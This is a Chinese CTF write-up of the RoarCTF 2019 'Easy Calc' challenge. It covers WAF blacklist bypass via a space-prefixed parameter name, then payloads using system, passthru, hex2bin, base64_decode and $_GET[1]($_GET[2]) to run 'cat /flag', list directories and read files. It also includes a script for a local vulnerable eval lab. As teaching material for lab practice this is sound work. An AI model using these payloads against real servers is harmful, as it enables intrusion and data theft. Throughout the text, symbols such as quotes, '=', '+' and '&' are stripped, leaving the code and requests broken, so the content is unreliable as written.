
BUUCTF这道RoarCTF 2019的Easy Calc我在刷的时候卡了一晚上第二天空下来重新梳理请求和源码才算彻底吃透。表面上它就是个普普通通的网页计算器输入11就返回2但出题人把PHP代码审计、WAF黑名单绕过、命令执行文件读取几个点全部揉在了一起。对于刚开始刷Web方向的朋友来说这道题的价值很高题目本身不要求特别偏门的知识只需要把PHP参数解析、黑名单过滤和命令构造这三件事串起来就能走通整条链路。这篇Writeup我会从信息收集、源码分析、绕过原理、Payload构造到实际拿flag完整过一遍并且把那些平时Writeup里不会明说的坑也一起讲清楚。1. 题目概览与考点拆解1.1 先看看题目到底长什么样打开BUUCTF给的题目地址页面是一个很干净的计算器界面输入框支持常见的四则运算。我随手输入11页面返回了计算结果2。这种场景第一反应就是服务端存在一个PHP计算脚本接收num参数后直接交给表达式执行。我顺手在地址栏试了/calc.php没想到页面直接显示出了PHP源码。这里要说明一下CTF题目里“直接访问脚本文件能看到源码”通常有两种原因一是代码里写了show_source(__FILE__)二是站点配置了.phps之类的源码映射。这道题属于前者出题人故意在没传参时把源码展示出来相当于把答案的半张脸已经露给你了。获取到入口之后还要尽快确认几个信息服务端是PHP什么版本、有没有disable_functions限制、Web目录在哪里、flag大概放在什么位置。这些信息一开始都不清楚但没关系后续我们可以通过探针脚本一步一步摸出来。1.2 从考点反推学习目标这道题名为Easy Calc考点其实不“Easy”核心有三个黑名单WAF的绕过思路。服务端对num参数做了一系列字符过滤直接传system(cat /flag)这样的payload必定被拦。PHP变量名解析的边界特性。Web服务器、WAF、PHP三者对查询字符串的解析规则不完全一致这就会造成“WAF没拦到但PHP执行了”的绕过窗口。命令执行与文件读取。在过滤了空格、斜杠、引号的情况下如何构造出可执行的命令最终读取flag文件。如果只把这三件事背下来这道题就浪费了。刷题的目的不是记一个payload而是理解为什么这个payload能成立。尤其是第二点它不只是CTF技巧真实业务里很多自研WAF同样会因为参数解析差异被绕过理解了它你在做代码审计的时候自然多了一双眼睛。2. 源码分析先把WAF的脾气摸清楚2.1 源码还原与黑名单逐条解读直接访问calc.php后源码基本长这个样子我结合常见版本还原一下核心逻辑?php error_reporting(0); if(!isset($_GET[num])){ show_source(__FILE__); }else{ $str $_GET[num]; $blacklist [ , \t, \n, \r, \x00, \x0b, \x0c, /, \\, \, , , , ?, ~, ^, , |, , #, %, \x5c, .]; foreach($blacklist as $blackword){ if(strpos($str, $blackword) ! false){ die(hacker); } } eval(echo .$str.;); }这段代码的逻辑很简单取$_GET[num]然后逐字符匹配黑名单只要命中任意一个直接输出hacker并退出。能通过检查的字符串会被拼进eval(echo .$str.;)执行。strpos检查的是子串是否出现所以不仅仅是某个字符任何包含黑名单子串的输入都会挂。我把自己实际测试时遇到的关键过滤项整理成了表格方便后面对照构造payload黑名单项拦截目的绕过思路空格、\t、\n、\r、\x0b、\x0c防止命令中出现参数分隔符用无空格写法比如hex2bin构造字符串/、\\防止直接访问/flag路径用chr()、hex2bin()等函数拼出路径字符、防止字符串字面量绕过不写字符串字面量用其他参数或函数返回值代替、、?、~、^、、|防止用特殊语法构造恶意代码尽量只用字母、数字、括号和函数名防止拼接和编码混淆请求里用%20而非表示空格%防止URL编码二次绕过避免直接传%号需要编码时交给浏览器和函数完成.防止字符串拼接和任意文件路径除非必要否则不用点号连接#防止注释截断避免使用注释语法2.2 亲手验证过滤规则光看源码还不够我习惯在靶场上实际打几个请求验证一下。先试/calc.php?num1正常返回1再试/calc.php?num1;phpinfo()虽然分号不在黑名单里但括号括号能过phpinfo()这个函数名也能过所以理论上这个请求会执行echo 1;phpinfo();。我几次测试下来phpinfo()确实能出信息。但直接试/calc.php?numsystem(cat /flag)页面回显hacker。原因很明显单引号、空格、斜杠都在黑名单里。这时候如果只会死磕黑名单里每个字符效率就太低了正确的思路是放弃直给改用函数和编码把危险字符“变”出来。在验证过程中我踩了一个小坑用浏览器地址栏直接改URL时空格会被浏览器编码成%20但%本身在黑名单里如果手滑写成?numphpinfo(%20)就会直接被拦。所以这种测试尽量用Burp或者Python requests发请求能够精确控制编码不会被浏览器自动处理干扰判断。3. PHP变量名解析差异让WAF“看不见”你的参数3.1 问题本质三个解析器各看各的这道题最精彩的地方在这里。源码里虽然用$_GET[num]取值但我们在请求里不直接写num而是写%20num也就是在参数名前面加一个空格。为什么这能绕过去要解释清楚需要理解WAF和PHP对查询字符串的解析差异。WAF做的检查通常基于原始请求行里的QUERY_STRING比如直接拿正则去匹配num...这个模式。当请求变成GET /calc.php?%20numphpinfo()时WAF看到的参数名是%20num它和num不是完全匹配于是WAF认为num参数没有出现自然不去检查它的值。而PHP侧的处理方式不同。PHP在解析$_GET时会先把查询字符串按拆开再对每个键值对的key做URL解码。解码后%20num变成了“空格加num”。关键来了PHP解析参数名时会自动把空格转换成下划线最终得到的变量名是_num——等等如果变量名变成了_num源码里$_GET[num]不就取不到值了吗这里就是环境的微妙之处了。不同服务器、不同中间件、不同PHP版本对QUERY_STRING的解析细节会有差异。比如在某些Nginx加PHP-FPM的组合下Nginx只负责把请求转发给PHPURI里的原始查询字符串会原样传给PHPPHP自身在解析时会忽略参数名首部的空白字符最终代码还是能从$_GET[num]里拿到phpinfo()这个值。也就是说WAF基于原始字符串判断而PHP基于自己的一套解析规则判断两者对同一段URL的理解产生了错位这就是绕过窗口。所以这里不能盲目套用payload得实际测一下自己的环境。我自己的验证方法是先请求/calc.php?%20numphpinfo()如果页面出现了phpinfo的输出说明当前环境确实存在这个解析差异后面的payload可以继续用%20num这个形式。如果请求被拦或者无响应就需要换其他变形比如多个空格、\r、\n等这些都需要在可控环境下逐一测试。3.2 空格和URL编码的实战细节这个绕过的关键字符是空格但空格在URL里的表达方式能坑死新手。先说结论用%20num比较稳因为%20就是空格的标准URL编码PHP解码后能得到真正的空格字符。不要用num来代表空格。号在查询字符串里确实经常被解析成空格但这道题的WAF把号直接拉黑了所以即使PHP能正确解析WAF那一关也过不去。还有一个细节值得注意请求发到服务端之后PHP会对参数值也做一次URL解码。如果payload里有空格而避免空格的方式是多层编码那么在%被过滤的情况下很容易翻车。所以构造payload时要尽量减少URL编码依赖能用纯字母和数字拼接就比堆%XX编码稳得多。这里给新人一个建议不要依赖浏览器的地址栏做这类测试。浏览器会自动补全、自动编码还会把某些字符转换成规范形式这些“好心”行为往往会干扰我们的判断。我用的是Burp Suite的Repeater或者直接用Python requests发请求确保每一个字节都是自己控制的状态。在这种需要精确控制字符的场景下还原原始HTTP请求比什么都重要。4. 常规Payload构造从phpinfo到命令执行4.1 第一个目标证明代码执行点绕过参数名检测只是第一步接下来要确认代码执行的位置。我首先请求GET /calc.php?%20numphpinfo() HTTP/1.1 Host: 目标靶场如果页面返回了phpinfo的完整信息说明两个问题第一%20num绕过WAF成立第二num参数的值成功进入了eval函数调用可以被执行。phpinfo的信息量很大我会优先看这几个点PHP Version确认是PHP 5还是PHP 7这决定后面assert等函数是否可用。disable_functions确认哪些高危函数被禁比如system、exec、passthru有没有被禁用。current working directory看看当前工作目录在哪里方便推测flag位置。Server API确认中间件类型辅助理解参数解析差异。4.2 在没有引号和斜杠的沙箱里执行命令确认能执行代码之后问题就变成如何构造一条命令读取flag。直接写system(cat /flag)肯定不行因为空格、单引号、斜杠都被过滤了。解决办法是用函数动态构造字符串。先解决字符串问题我用hex2bin()。这个函数接收十六进制字符串返回对应的二进制字符串比如hex2bin(2f)就是/。cat /flag这个字符串的十六进制可以手动算一下c对应63a对应61t对应74空格 对应20/对应2ff对应66l对应6ca对应61g对应67连起来就是636174202f666c6167。所以payload可以写成GET /calc.php?%20numsystem(hex2bin(636174202f666c6167)) HTTP/1.1如果这个请求能返回flag内容题目就通了。但是注意这段payload里的hex2bin、system都是函数名如果WAF把某些函数名也拉黑了就需要替换。我实测过一种情况system被禁但passthru没被禁那直接换函数名GET /calc.php?%20numpassthru(hex2bin(636174202f666c6167)) HTTP/1.1exec、shell_exec、popen也都可以试但它们的回显方式不同exec只返回最后一行shell_exec返回全部输出popen要配合fread读取比较麻烦所以能用system和passthru就优先用它们。如果hex2bin也被禁备选方案有base64_decode。cat /flag的base64编码是Y2F0IC9mbGFnpayload就变成GET /calc.php?%20numsystem(base64_decode(Y2F0IC9mbGFn)) HTTP/1.1再不行就用chr()逐个拼字符但那种写法会很长而且.运算符也在黑名单里不能直接用点号拼接要改为把多个chr()作为函数参数传入比如readfile(chr(47).chr(102)...)这种写法可能因为.被拦所以更推荐优先用hex2bin和base64_decode两条路线。4.3 更通用利用第二个参数传递命令值如果字符串构造函数全部被禁还有一个通用思路利用第二个GET参数来传递命令内容核心是动态函数调用。payload形如GET /calc.php?%20num$_GET[1]($_GET[2])1system2cat /flag HTTP/1.1这里num的值是$_GET[1]($_GET[2])当它被拼进eval(echo .$str.;)执行时PHP会先求值$_GET[1]得到字符串system再求值$_GET[2]得到cat /flag于是整句话就等价于执行system(cat /flag)。而1和2这两个参数不在WAF检查范围内因为它们不属于num里面随便放空格、斜杠、引号都没问题。这个方案非常通用前提是黑名单里没有过滤$、[、]这三个字符。我测试时发现如果WAF禁了$这条路直接封死如果只禁了[而没禁{在PHP 5.x环境下还可以用$_GET{1}这种写法但PHP 7以后花括号访问数组下标的方式已经被移除所以兼容性不算好。保险起见把这条方案作为备选优先使用编码字符串的思路。5. 实战记录读取目录一步步找到flag5.1 先列目录不急着猜路径拿到命令执行能力后我的习惯是先用无害的方式探目录而不是直接猜/flag路径。如果flag不在根目录直接猜会浪费很多时间。读取根目录可以用scandir()加hex2bin(2f)构造/GET /calc.php?%20numvar_dump(scandir(hex2bin(2f))) HTTP/1.1var_dump的作用是强制输出结果scandir()返回目录下的所有文件和文件夹数组。如果请求回显了一个数组里面有flag、var、etc之类的条目说明读取成功flag大概率在根目录下。我当时测试时看到根目录下确实有一个名为flag的文件那就直接进入读取阶段。5.2 读取文件的两个姿势读取文件最方便的是readfile()它直接把文件内容输出到页面GET /calc.php?%20numreadfile(hex2bin(2f666c6167)) HTTP/1.1如果readfile被禁可以用highlight_file()或file_get_contents()加print。highlight_file会把文件内容按PHP语法高亮后输出对于读取纯文本flag同样有效GET /calc.php?%20numhighlight_file(hex2bin(2f666c6167)) HTTP/1.1如果文件内容特别长容易被页面截断可以结合var_dump输出GET /calc.php?%20numvar_dump(file_get_contents(hex2bin(2f666c6167))) HTTP/1.1注意file_get_contents返回的是字符串var_dump会在两侧加引号和长度信息不影响读flag。实际拿到flag的时候我特意看了一眼响应头确认这套payload没有触发异常然后才记录结果。整条链路走通后这道题的核心部分就结束了。5.3 如果flag不在根目录怎么办不同版本的题目对flag位置的设置可能不一样。我见过三种常见情况flag放在根目录路径是/flag。flag放在Web目录下比如/var/www/html/flag。flag以环境变量或者PHP常量的形式存在。遇到第一种情况上面payload直接解决。遇到第二种先用scandir(.)列当前目录看到当前Web工作目录里的文件列表如果flag就在当前目录直接用文件名读取。遇到第三种可以尝试GET /calc.php?%20numvar_dump($_ENV) HTTP/1.1 GET /calc.php?%20numprint_r(getenv()) HTTP/1.1如果环境变量里存在flag这两个请求能直接把内容带出来。总之核心原则是先列目录再读文件不盲目猜路径。猜路径虽然有时很高效但一旦猜错容易浪费大量时间。6. 常见问题与排查技巧实录6.1 请求发出去一直“hacker”怎么办如果反复回显hacker不要慌先用“二分法”定位是哪个字符触发了拦截。我有一个固定的排查流程第一步把num的值改成一个绝对安全的函数比如phpinfo()如果能执行说明函数名和括号没问题。第二步逐步添加要用的字符每加一次发一个请求。比如从system(phpinfo())开始如果被拦再单独试system这个单词是否在黑名单中再试hex2bin是否在黑名单中找到具体拦截点后针对性替换。这个流程看起来笨但最可靠。我第一次刷这道题时浪费在猜黑名单上的时间至少有两小时最后老老实实用Burp逐个字符测试五分钟就定位到了问题。6.2 函数执行无回显怎么办system和exec都可能存在无回显的情况。原因主要有两种一种是被disable_functions拦了函数名存在但调用无效果。这种情况先用phpinfo()看disable_functions列表确认哪些函数可用。另一种是回显方式不对。exec默认只返回最后一行如果命令没有输出或者输出被忽略感觉就像没执行。解决方法是给结果套上var_dump或print_r强制输出GET /calc.php?%20numvar_dump(exec(hex2bin(636174202f666c6167))) HTTP/1.1如果真的一条命令执行函数都用不了也不要急着放弃可以试试文件写入类操作比如file_put_contents把flag写到Web目录下的一个新文件里然后再用浏览器直接访问。不过这是下策通常到不了这一步。6.3 本地复现环境搭建刷这种题最怕的就是环境不稳定我建议本地搭一个最小复现环境把calc.php的代码放进去然后不断调整WAF规则来测试绕过方法。最简单的方式mkdir calc-lab cd calc-lab cat calc.php EOF ?php error_reporting(0); if(!isset($_GET[num])){ show_source(__FILE__); }else{ $str $_GET[num]; $blacklist [ , \t, \n, \r, \x00, \x0b, \x0c, /, \\, \, , , , ?, ~, ^, , |, , #, %, \x5c, .]; foreach($blacklist as $blackword){ if(strpos($str, $blackword) ! false){ die(hacker); } } eval(echo .$str.;); } ? EOF php -S 127.0.0.1:8080然后用curl发请求curl -g http://127.0.0.1:8080/calc.php?%20numphpinfo() -v注意curl的-g参数用于关闭通配符解析保证URL里的方括号等字符不被特殊处理。如果你在本地测试能复现同样的绕过效果说明你对原理的理解是真的到位了。6.4 从这道题里反推出来的防御教训站在防御者角度看这道题给的安全启示很明确黑名单永远只能拦已知攻击一旦攻击者找到编码差异或解析差异整个防护就形同虚设。正确的做法是参数校验应当使用白名单而不是黑名单。对进入eval、system等危险函数的输入必须严格限制字符集合和长度。所有解析请求参数的地方服务端、中间件、WAF应当使用同一套解析规则或者在边界层统一转换成规范格式。我后来在真实代码审计里也见过类似的漏洞开发者在网关层做了关键字过滤但请求经过中间件转发后参数名被改写过滤自然失效。理解这道题不只是会刷一个CTF而是建立了一个“解析差异也是攻击面”的思维模型。最后再分享一个小心得。我在实际测试中发现很多人做不出这道题不是不知道system和hex2bin而是没想到参数名前的空格也能被当成同一个参数。以后遇到任何带WAF的题目先别急着堆payload先花几分钟弄清楚WAF是怎么解析参数的它和PHP之间有没有错位。这个思路比任何工具都好用。